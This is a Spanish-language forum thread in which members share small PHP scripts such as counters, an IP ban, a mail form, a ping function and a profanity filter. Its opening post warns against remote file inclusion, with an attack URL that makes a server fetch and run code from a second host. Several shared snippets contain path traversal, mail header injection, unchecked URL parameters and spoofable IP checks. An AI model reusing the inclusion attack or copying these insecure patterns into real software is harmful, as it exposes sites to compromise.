Unos PHP Scripts

cetutnx1

New Member
Messages
510
Reaction score
0
Points
0
Yo que vos tendría mucho cuidado con el script de los includes... poque no lees esto:

I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

PHP:
<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

PHP:
<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.

Y creo que la mejor forma de hacerlo sería esta:

In addition to the redeye at cs-aktuell dot de note:

to make pseudo-frame in total security

example: http://www.yourdomain.com/index.php?page=news

PHP:
<?php

/* verify the validity of GET var page
if not set, do a default case        */
if(isset($HTTP_GET_VARS['page']))
{
 $p = $HTTP_GET_VARS['page'];
}
else
{
 $p = 'index';
}

switch($p)
{
 case 'index':
 require('welcome.php');
 break;

 case 'news':
 require('news.php');
 break;

 case 'what you want':
 require('the file you want');
 break;

 default:
 exit('Wrong parameter for file inclusion');
}

?>

marco_

PD: Todos los ejemplos los saqué de php.net
 
Last edited:

alvaroag

New Member
Messages
288
Reaction score
0
Points
0
tengo un script completo para galería de fotos.... está escrito en PHP y utiliza Javascript con AJAX. También tengo una versión en HTML puro, pero es un poco mas lenta. El escript es de varios archivos y utiliza tablas en la base de datos.

Quien quiera verlo, puede hacerlo en http://larcenciel2006.x10hosting.com/phalbum.php?ajax=1 para la versión AJAX(requiere IE7, Firefox 1.0, o Opera 8 o 9, no estoy seguro de la versión de Opera. No funciona bien en IE6, tengo que solucionar eso.) o en http://larcenciel2006.x10hosting.com/phalbum.php?ajax=0 para la versión HTML simple, que funciona en cualquier navegador.

Si alguien quiere implementarlo en su sitio, puede enviarme un mensaje privado o postear en este tema.

Alvaro
 
Last edited:

medina

x10 Addict
Community Support
Messages
1,811
Reaction score
7
Points
38
Hace bastante que no publico Scripts por eso voya publicar yo otros....
PD: MO SE SI SEAN REPETIDOS NO ME ACUERDO
Ver Usuarios Activos
PHP:
<?php
// Configuración de las variables 
$arch = "dades.txt"; // Archivo de datos de los usuarios (coloque la ruta completa dentro del servidor).
$logoutTime = 900; // Tiempo tras el cual un usuario es considerado inactivo (en segundos).
$IP = $REMOTE_ADDR;
$count = 0;
$res = ´´;
$fp = fopen($arch,"r");
$t = time();
$content = fread($fp,filesize($arch));
fclose($fp);
$lineas = split(" ",$content);
for ($i=0; $i < count($lineas); $i++)
{
   $datos = split(´:´,$lineas[$i]);
   $n = $t - $logoutTime;
    if ($datos[0] != $IP && $datos[1] > ($n)) {
      $res .= "$datos[0]:$datos[1] ";
      $count++;
   }
}
$res .= "$IP:$t ";
$count++;
$fp = fopen($arch,"w");
fwrite ($fp,$res);
fclose($fp);
echo "Hay $count visitantes activos";
?>
Evitar que una imagen se quede en el CACHE del navegador
Funciona para ocultar la imagen un poco y se ve mas profesional
PHP:
<?php
// Directorio de las imágenes
$camino = "./images";

// Cabecera de imagen
// En este caso usamos jpeg, aunque podemos utilizar cualquier formato
header("Content-Type: image/jpeg");

// Código para evitar la cache
header( "Expires: Mon, 20 Dec 1998 01:00:00 GMT" );
header( "Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT" );
header( "Cache-Control: no-cache, must-revalidate" );
header( "Pragma: no-cache" );

// carga de la imágen
@readfile($camino.$_GET['imagen']);
?>
Y asi tendra que quedar para mostrar una imagen
PHP:
<img src="mostrar_imagen.php?imagen=nombre_imagen.jpg">
Contador Grafico
Tienes que hacer tu los numeros Ej. 0.jpg 1.jpg 2.jpg
PHP:
<?php 
$ARCHIVO = "contador.txt"; //Tienes Q crear un TXT con este nombre y dar permisos/LINUX CHMOD 666 
$digitos = 6; //Número de digitos del contador 
if (file_exists($ARCHIVO)) { 
$fp = fopen("$ARCHIVO", "r+"); 
flock($fp, 1); 
$count = fgets($fp, 4096); 
$count += 1; 
fseek($fp,0); 
fputs($fp, $count); 
flock($fp, 3); 
fclose($fp); 
} else { 
echo "No se encuentra el archivo $archivo.<BR>"; 
exit; 
} 
chop($count); 
$nb_digits = max(strlen($count), $digitos); 
$count = substr("0000000000".$count, -$nb_digits); 
$digits = preg_split("//", $count); 
for($i = 0; $i <= $nb_digits; $i++) { 
if ($digits[$i] != "") { 
@$html_result .= "<IMG SRC="http://www.cybernek.com/$digits[$i].gif">"; 
} 
} 
//Imprimimos los resultados 
print("<p align="center"><font face="verdana" size="2">Visitante Nº<br>$html_result</font></p>"); 
?>
Y para ejecutarlo pues esto
PHP:
<? include("contador.php"); ?>
:cool:
 

medina

x10 Addict
Community Support
Messages
1,811
Reaction score
7
Points
38
OTROS
NO SE SI SEAN REPETIDOS NO RECUERDO
Banear con un TXT
PHP:
<?php
if (isset($_SERVER[´HTTP_X_FORWARDED_FOR´])) { 
$ip = $_SERVER[´HTTP_X_FORWARDED_FOR´]; 
} 
elseif (isset($_SERVER[´HTTP_VIA´])) { 
$ip = $_SERVER[´HTTP_VIA´]; 
} 
elseif (isset($_SERVER[´REMOTE_ADDR´])) { 
$ip = $_SERVER[´REMOTE_ADDR´]; 
} 
else { 
$ip = "Desconocida"; 
} 

$baneados = file("baneados.txt", "r+"); 
$nbaneados = count($baneados); 
function banear($ip,$baneados,$nbaneados){ 
for ($i = 0 ; $i < $nbaneados ; $i++){ 
if ($ip==$baneados[$i]){ 
echo "<center> No autorizado !</center>"; 
die(); 
} 
} 
} 
banear($ip,$baneados,$nbaneados); 
?>
El archivo de texto baneados.txt tendria el siguiente formato, con las IPs que no queremos

345.43.43.54
435.54.45.45
464.43.65.67

RECOMENDAR PAGINA
HTML:
<form method="POST" action="recomendar.php">
<p>Recomienda este sitio a un amigo:</p>
<p>Tu nombre:<br>
<input type="text" name="tunombre" size="20"><br>
Tu email:<br>
<input type="text" name="tuemail" size="20"><br>
Nombre de tu amigo:<br>
<input type="text" name="nombreamigo" size="20"><br>
Email de tu amigo:<br>
<input type="text" name="emailamigo" size="20"><br>
<br>
<input type="submit" value="Recomendar" name="B1"></p>
</form>
recomendar.php
PHP:
<?
// Completamos la variable $asunto con el título del mensaje
// y armamos el mensaje dentro de la variable $mensaje
$asunto = "Un amigo te recomienda WebExperto.com";
$mensaje = "Hola ".$nombreamigo.", tu amigo ".$tunombre."Entra a x10hosting y registrate....";
// Utilizamos la función mal() de PHP para realizar el envío
// del mensaje
mail($emailamigo, $asunto, $mensaje, "From: ".$tuemail);
?>
<html>
<head><title>Recomendarnos</title></head>
<body>
Muchas gracias por recomendarnos.
</body>
</html>
:drool:
 

medina

x10 Addict
Community Support
Messages
1,811
Reaction score
7
Points
38
No hay de q!... aunq una donacion de puntos no cae nada mal heee!!!... ntc! no te preocupes!! hago esto para compartir y espero que le sirva a alguien !... Gracias!..

PD: Me gusto el diseño de tu pagiona !!!... sigue asi!
 
Last edited:

yaxiiah

New Member
Messages
268
Reaction score
0
Points
0
Medina como cuanto tiempo tardan en llegar los formularios contestados a tu mail?
 

medina

x10 Addict
Community Support
Messages
1,811
Reaction score
7
Points
38
son al instante bueno, depende del servidor como se envia pero defbe de ser instantaneo !...
 

yaxiiah

New Member
Messages
268
Reaction score
0
Points
0
Ahh ok, es que yo lo instale en mi web hace tiempo y como no me llegaban pus tome uno de webtaller, pero lo intentare de nuevo, seguro modifique mal alguno de los datos
 

Reclutador

Active Member
Messages
3,866
Reaction score
0
Points
36
No hay de q!... aunq una donacion de puntos no cae nada mal heee!!!... ntc! no te preocupes!! hago esto para compartir y espero que le sirva a alguien !... Gracias!..

PD: Me gusto el diseño de tu pagiona !!!... sigue asi!

Acaso son tuyos todos estos scripts? son escritos por ti a mano?
 

medina

x10 Addict
Community Support
Messages
1,811
Reaction score
7
Points
38
Hacer PING Desde PHP
PHP:
<?
function ping3 ($ping)
{
$comm = "ping -c3 ".$ping;
$output=shell_exec($comm);
echo $output;
}

ping3 ("www.ituto.com.ar");
?>
Comrpobar sio existe un elaze (Util en registros)
PHP:
Función
<?
function existe_link($url) 
{ 
error_reporting(E_ERROR); 

$res = 0; 

$f = fopen($url, "r"); 

(!$f) ? $res = 0 : $res = 1; 

fclose($f); 

return ($res); 
} 
?>
y para que se ejecute lo tendriamos q hacer asi
PHP:
<?
$existe= existe_link("http://www.ituto.com.ar"); 

($existe) ? $txt="Existe" : $txt="No existe"; 

echo $txt; 
?>
Hacer tus enlaces con frames (antes lo usaba hotmail)
enlace.php

<html>
<head>
<title>Estas Fuera de ....</title>
</head>
<frameset framespacing="0" border="false" rows="8%,*" frameborder="0">
<frame name="inferior" src="<?=$sitio?>">
<noframes>
<body>
<p>Esta página usa marcos, pero su explorador no los admite.</p>
</body>
</noframes>
</frameset>
</html>

arriba.php

<html>
<head>
</head>
<body bgcolor="#000080" text="#FFFFFF">
<p align="center"><strong><font face="Verdana" size="2">Estás visitando un enlace fuera de </font></strong></p>
</body>
</html>
y quedaria

http://www.tusitio.com/enlace.php?sitio=http://www.x10hosting.com

:cool:
 

medina

x10 Addict
Community Support
Messages
1,811
Reaction score
7
Points
38
Gracias!... haber si ya que sali de Vacaciones pongo mas!... Saludos
 

medina

x10 Addict
Community Support
Messages
1,811
Reaction score
7
Points
38
MORE PHP Scripts

Para saber De dond vienen nuestros usuarios
PHP:
<?
if(isset($HTTP_REFERER))
{
  if(!eregi($HTTP_HOST, $HTTP_REFERER))
  {
    $fp = fopen("estadisticas.txt", "a");
    $referer .= date("Y-m-d")." :: ".$HTTP_REFERER." :: ".$_SERVER['REQUEST_URI']."\n";
    fwrite($fp, $referer);
    fclose($fp);
  }
}
?>
(RECUERDEN CREAR EL ARCHIVO " estadisticas.txt " y ponerle permisos 666)

Sustituir palabras altisonantes por otras
Podria funcionar para un sistema de noticias con comentarios o foro, si quieres tener un foro "limpio" de palabras groseras este script te ayudara y si le nmueves al script te puede servir para substituir las paginas q pongan en comentarios o foros por algo asi como PAGINA Q NO SE PUEDE DECIR yo q se!..

PHP:
<?php
$sustituir = "@#!!!";
$mensaje  = "El cerdo de tu amigo. ";
$banear = "cerdo";

if (strstr(strtoupper($mensaje), strtoupper($banear))) {
  
  if (strtoupper($mensaje) == strtoupper($banear))
    $mensaje=$sustituir;
  
  $mensaje = eregi_replace("^$banear([^a-zA-Z])", "$sustituir1", $mensaje);
  $mensaje = eregi_replace("([^a-zA-Z])$banear$", "1$sustituir", $mensaje);
  
  while(eregi("([^a-zA-Z])($banear)([^a-zA-Z])", $mensaje)){
    $mensaje = eregi_replace("([^a-zA-Z])($banear)([^a-zA-Z])", "1$sustituir3", $mensaje);
  }

}
echo $mensaje;
?>
 

medina

x10 Addict
Community Support
Messages
1,811
Reaction score
7
Points
38
PD: Aqui Tambien ustedes pueden poner sus scripts ya q veo q
Edit:
PD:Tambien Ustedes pueden postear Scripts que crean q sean de ayuda, por que lo q veo soy el unico, y por lo visto esta muy abandonado este tema :(....
 
Last edited:

alv4

New Member
Messages
321
Reaction score
0
Points
0
El del formulario me interesa Muxoo! :p
Y el de cuenta regresiva se puede hacer con caracteres especiales¿? es decir con imágenes de letras ¿?
 

medina

x10 Addict
Community Support
Messages
1,811
Reaction score
7
Points
38
Pues si claro tienes q editar una parte del codsigo y croe q peude ser mas complicado ya que la cuenta regresiva es -1 y asi se va amenos q a los numeors les des valor como 4 q sea esta imagen y q salga el 4 apaersca la imagen asi seria un pooc mas facil hay 3 formas distintas de hacerlo algo habia visto
 

Nerko

New Member
Messages
5
Reaction score
0
Points
0
muy buenos estos scripts!! ojala hubniese encontrado el de formulario de contacto antes.. pero ya acabe de aprender -despues de tantos dias-, hahaha. estare al pendiente de nuevos scripts. ;)
 

medina

x10 Addict
Community Support
Messages
1,811
Reaction score
7
Points
38
pronto pondre anda abandonado este post ya que nadie le hace caso bueno eso creo y la verdad he andado muy ocupadoo pero intentare revivirlo
 
Top